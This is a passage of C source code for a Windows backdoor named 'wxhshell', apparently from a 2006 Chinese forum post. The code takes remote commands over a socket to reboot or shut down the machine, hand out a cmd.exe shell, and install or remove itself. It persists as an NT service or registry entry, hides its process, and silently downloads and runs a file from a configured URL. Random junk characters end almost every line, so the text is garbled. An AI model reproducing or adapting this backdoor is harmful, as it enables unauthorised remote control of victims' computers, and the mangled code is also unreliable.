      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ago t (  
    break; -i gZU>0B_  
  } uZI:Kt#  
  // 安装 tG&B D\  
  case 'i': { a,\u|T:g  
    if(Install()) ;Q 6e&Ips/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 +9|7=d  
    else ;0{*V5A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cSWVHr  
    break; l$@lk?dc  
    } y$W3\`2q  
  // 卸载 ZPFTNwf  
  case 'r': { V,,iKr@TG  
    if(Uninstall()) p{GDW_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kKO]q#9sO  
    else J~6*d,Ry`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LLN^^>5|l  
    break; msJn;(Pn  
    } "6h.6_bTw  
  // 显示 wxhshell 所在路径 ou4?`JF)-  
  case 'p': { 1@Gv`{v  
    char svExeFile[MAX_PATH]; x/v+7Pt_  
    strcpy(svExeFile,"\n\r"); 2?&ptN) `N  
      strcat(svExeFile,ExeFile); `84yGXLK  
        send(wsh,svExeFile,strlen(svExeFile),0); x$4'a~E  
    break; XAkl,Y  
    } )]Rr:i9n  
  // 重启 (b5af_ c  
  case 'b': { j(N9%/4u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h{9 pr  
    if(Boot(REBOOT)) +[qy HTcG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{PNdINoU  
    else { cFo-NI2  
    closesocket(wsh); 1EB`6_>y  
    ExitThread(0); s^< oU  
    } bBL"F!.  
    break; }3e+D  
    } \6L=^q=  
  // 关机 P40eK0 e6  
  case 'd': { S d -+a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *8+YR  
    if(Boot(SHUTDOWN)) ru Lcu]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Qo8Xps  
    else { b?,y%D) '  
    closesocket(wsh); AG%aH=TKp  
    ExitThread(0); /qr8  
    } <taW6=;c  
    break; YTA  &G  
    } "Y6mM_flq  
  // 获取shell p5ihuV,   
  case 's': { Qmn5-yiw1d  
    CmdShell(wsh); >Li?@+Zl  
    closesocket(wsh); -tJ*F!w6U  
    ExitThread(0); Z]CH8GS~<  
    break; h[?28q$  
  } z9ZAY!Zhq]  
  // 退出 ;E_{Zji_e  
  case 'x': { -0Ek&"=Z^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6cvm\ opH  
    CloseIt(wsh); 4kEFbzwx  
    break; otx7J\4  
    } X88Zd M'  
  // 离开 YFY)Z7fK  
  case 'q': { wXnt3)e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7y3; F7V  
    closesocket(wsh); C_/oORvK  
    WSACleanup(); jXQ_7  
    exit(1); /zM7G?y  
    break; >F v8 -  
        } nEYJ?_55  
  } dLq!t@?iu>  
  } -1:asM7  
W\ckt]'  
  // 提示信息 @AFLFX]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J^T66}r[f,  
} ub&1L_K  
  } L $~Id  
lHU$A;  
  return; YDwns  
} +gkB  
g`1i[Iu2  
// shell模块句柄 N C& 1l]  
int CmdShell(SOCKET sock) 4$rO,W/&0  
{ =/;(qy9.-R  
STARTUPINFO si; Q\Eq(2p  
ZeroMemory(&si,sizeof(si)); @{G(.S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l;ugrAo?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *SZ<ori  
PROCESS_INFORMATION ProcessInfo; J.*=7zmw  
char cmdline[]="cmd"; w~`P\i@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x0] *'^aA  
  return 0; sq%f%?(V  
} f]EHDcC3X  
Gu-Sv!4p  
// 自身启动模式 *,(`%b[  
int StartFromService(void) NNT9\JRv_  
{ C^a~)r.h  
typedef struct MB)xL-jO  
{ d@<XR~);  
  DWORD ExitStatus; Ok@5`?08  
  DWORD PebBaseAddress; R *U>T$  
  DWORD AffinityMask; RK,~mXA  
  DWORD BasePriority; Z7Kc`9.0|  
  ULONG UniqueProcessId; 5R4 dN=L*1  
  ULONG InheritedFromUniqueProcessId; Ez )Go6Q  
}   PROCESS_BASIC_INFORMATION; @RC_Ie=#)  
{_Y\Y&#  
PROCNTQSIP NtQueryInformationProcess;  : 2?du  
c~V\,lcI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ??F{Gli"C`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TS;MGi0`}  
y~\z_') <>  
  HANDLE             hProcess; B\6\QQ;rUo  
  PROCESS_BASIC_INFORMATION pbi; <K43f#%  
("{'],>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T|u)5ww%  
  if(NULL == hInst ) return 0; 1@am'#<  
@M1U)JoQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *]LM2J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NH{0KZ R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uJ[dO}  
4x:fOhtP  
  if (!NtQueryInformationProcess) return 0; ?h {&  
;RR)C@n1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8WAg{lVs  
  if(!hProcess) return 0; M*x_1h5n  
'F@'4[uda  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; milU,!7J  
z:w7e0  
  CloseHandle(hProcess); "Kqe4$  
NTV0DkX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %bAv.'C  
if(hProcess==NULL) return 0; $ZA71TzMV  
yEH30zSt  
HMODULE hMod; @A:Xct  
char procName[255]; ?vXy7y&4  
unsigned long cbNeeded; _^KD&t%!+y  
}{[F+|\>,e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  8NLk`/  
Eq|_> f@@8  
  CloseHandle(hProcess); NJ|8##Z>  
B"G;"X  
if(strstr(procName,"services")) return 1; // 以服务启动  3N;X|pa  
FsD}N k=m~  
  return 0; // 注册表启动 4h-y'&Z  
} rwU[dqBRhc  
U:_&aY_  
// 主模块 2 Y%$6NX  
int StartWxhshell(LPSTR lpCmdLine) LNe- ]3wB  
{ hse$M\5  
  SOCKET wsl; 4B) prQ3  
BOOL val=TRUE; }v`5  
  int port=0; Oq[tgmf  
  struct sockaddr_in door; &QvWT+]c'0  
O4 [[9  
  if(wscfg.ws_autoins) Install(); 5=l Ava#  
@;pTQ 5 I  
port=atoi(lpCmdLine); 0rF{"HM~  
/KH3v!G0  
if(port<=0) port=wscfg.ws_port; R`Q9|yF\  
d]CRvzW  
  WSADATA data; gV A$P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i: 1V\q%  
;+cZS=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V0"UFy?i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :h"Y>1P  
  door.sin_family = AF_INET; ^ygN/a>rr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wuI+$?  
  door.sin_port = htons(port); uS3J^=>@(a  
H;|^z@RB<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aabnlOVw  
closesocket(wsl); T~_+\w  
return 1; 0Bb amU  
} N_h)L`  
2UA h^i-^  
  if(listen(wsl,2) == INVALID_SOCKET) { flnoK%wi  
closesocket(wsl); V 9][a  
return 1; // g~1(  
} 0fwo8NgX  
  Wxhshell(wsl); qa2QS._m  
  WSACleanup(); }3ty2D#/:  
MX]<tR`  
return 0; u<:R Sg  
"4zTP!Ow  
} }"E?#&^  
!Hxx6/  
// 以NT服务方式启动 P'R!" #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H4MFTnJ{  
{ ?=$a6o  
DWORD   status = 0; ,_D`0B6o  
  DWORD   specificError = 0xfffffff; %TP0i#J  
0PjWfM8%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "oz qfh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^g"G1,[%w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %[l5){:05  
  serviceStatus.dwWin32ExitCode     = 0; b[%sKl  
  serviceStatus.dwServiceSpecificExitCode = 0; =LC:1zn4  
  serviceStatus.dwCheckPoint       = 0; q",n:=PL  
  serviceStatus.dwWaitHint       = 0; lo5,E(7~h  
?Bno?\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KQ9~\No]  
  if (hServiceStatusHandle==0) return; W c{<DE?J  
)k&<D*5s  
status = GetLastError(); (3C::B=  
  if (status!=NO_ERROR) Ivmiz{Oii  
{ lQ {k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oYG9i=lZ  
    serviceStatus.dwCheckPoint       = 0; f![?og)I%  
    serviceStatus.dwWaitHint       = 0; sB"Oi|#lk  
    serviceStatus.dwWin32ExitCode     = status; 7jQOwzj  
    serviceStatus.dwServiceSpecificExitCode = specificError; *VG#SK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  olB?"M=H  
    return; s3Pr$h  
  } .y\j .p  
Gb4k5jl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @G@,)`p4?  
  serviceStatus.dwCheckPoint       = 0; )v !GiZ" 7  
  serviceStatus.dwWaitHint       = 0; J^m#984  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E_[|ZrIO&*  
} d kVF  
<b.?G  
// 处理NT服务事件,比如:启动、停止 JK) )Cuh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;'~U5Po8  
{ >4b:`L  
switch(fdwControl) 1qp<Fz[  
{ d"`/P?n x  
case SERVICE_CONTROL_STOP: >4 4A  
  serviceStatus.dwWin32ExitCode = 0; N_Q)AXr)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P:,'   
  serviceStatus.dwCheckPoint   = 0;  >\6Tm  
  serviceStatus.dwWaitHint     = 0; P/6$ T2k_  
  { SVB> 1s9F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SaceIV%(  
  } V3r1|{Z(  
  return; lI~T>Lel2  
case SERVICE_CONTROL_PAUSE: ZfsM($|a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7}>Zq`]~  
  break; j} t"M|`  
case SERVICE_CONTROL_CONTINUE: 33IJbg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -}#=L@  
  break; ,< Zu4bww  
case SERVICE_CONTROL_INTERROGATE: #; ~`+[y?\  
  break; "*UN\VV+s  
}; }-4@EC>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zW.I7Z0^  
} N1/)F k-z  
ldk (zAB.  
// 标准应用程序主函数 q$RJ3{Sf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <q\OREMsq  
{ 69/aP=  
HEh,Cf7`'  
// 获取操作系统版本 Se~< Vpo  
OsIsNt=GetOsVer(); >n3w'b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uy'm2  
qw?#~"Ca.  
  // 从命令行安装 u-qwG/$E  
  if(strpbrk(lpCmdLine,"iI")) Install(); eYNu78u   
 t~_vzG  
  // 下载执行文件 ggn C #$  
if(wscfg.ws_downexe) { >1uo5,wrF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9bu}@#4*  
  WinExec(wscfg.ws_filenam,SW_HIDE); K ?uH Am  
} jEU`ko_  
@ByD=  
if(!OsIsNt) { RBuerap  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]+4QsoFNt  
HideProc(); VgGMlDl  
StartWxhshell(lpCmdLine); ^EtBo7^t  
} @>:V?  
else ["O/%6b9+  
  if(StartFromService()) +\Uq=@  
  // 以服务方式启动 4f~ c# 0?  
  StartServiceCtrlDispatcher(DispatchTable); /Q]6"nY  
else ,jH<i.2R  
  // 普通方式启动 3T1t !q4/5  
  StartWxhshell(lpCmdLine); m{#?fR=9  
;|yd}q=p  
return 0; @}K|/  
}
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只看该作者 1 发表于: 2006-10-10
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